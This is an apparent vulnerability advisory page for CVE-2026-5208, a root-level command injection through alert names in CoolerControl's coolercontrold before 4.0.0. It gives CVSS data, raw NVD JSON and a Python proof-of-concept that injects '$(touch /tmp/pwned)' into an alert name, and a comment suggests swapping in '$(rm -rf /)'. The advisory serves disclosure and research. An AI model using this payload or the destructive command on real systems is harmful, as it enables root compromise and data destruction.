Security Vulnerability Report
中文
CVE-2026-5208 CVSS 8.2 HIGH

CVE-2026-5208

Published: 2026-04-08 12:16:22
Last Modified: 2026-04-16 01:06:48

Description

Command injection in alerts in CoolerControl/coolercontrold <4.0.0 allows authenticated attackers to execute arbitrary code as root via injected bash commands in alert names

CVSS Details

CVSS Score
8.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:coolercontrol:coolercontrold:*:*:*:*:*:*:*:* - VULNERABLE
CoolerControl/coolercontrold < 4.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target API endpoint for creating alerts # Note: Actual endpoint path may vary based on CoolerControl API version target_url = "http://localhost:5000/api/v1/alerts" # Malicious payload using command substitution # This payload creates a file named 'pwned' in /tmp to demonstrate execution # Replace with `$(rm -rf /)` or other malicious commands for actual impact payload_name = "$(touch /tmp/pwned)" # Headers usually include authentication tokens # Exploitation requires High Privileges (PR:H), so a valid admin token is needed headers = { "Content-Type": "application/json", "Authorization": "Bearer <VALID_ADMIN_TOKEN>" } # JSON data for the new alert # The 'name' field is the vulnerable injection point data = { "name": payload_name, "condition": "temp > 80", # Example condition "function": "notify" } try: # Send the POST request to inject the command response = requests.post(target_url, json=data, headers=headers) if response.status_code == 200 or response.status_code == 201: print("[+] Alert created successfully.") print("[+] Check /tmp/pwned on the target host to verify command execution.") else: print(f"[-] Failed to create alert. Status code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-5208", "sourceIdentifier": "[email protected]", "published": "2026-04-08T12:16:22.383", "lastModified": "2026-04-16T01:06:47.997", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Command injection in alerts in CoolerControl/coolercontrold <4.0.0 allows authenticated attackers to execute arbitrary code as root via injected bash commands in alert names"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.5, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:coolercontrol:coolercontrold:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.1.0", "versionEndIncluding": "4.0.0", "matchCriteriaId": "AAAB09AD-AF92-45AA-A961-D97CD6B2800C"}]}]}], "references": [{"url": "https://gitlab.com/coolercontrol/coolercontrol/-/blob/3.1.0/coolercontrold/src/alerts.rs?ref_type=tags#L576", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://gitlab.com/coolercontrol/coolercontrol/-/releases/4.0.0", "source": "[email protected]", "tags": ["Release Notes"]}]}}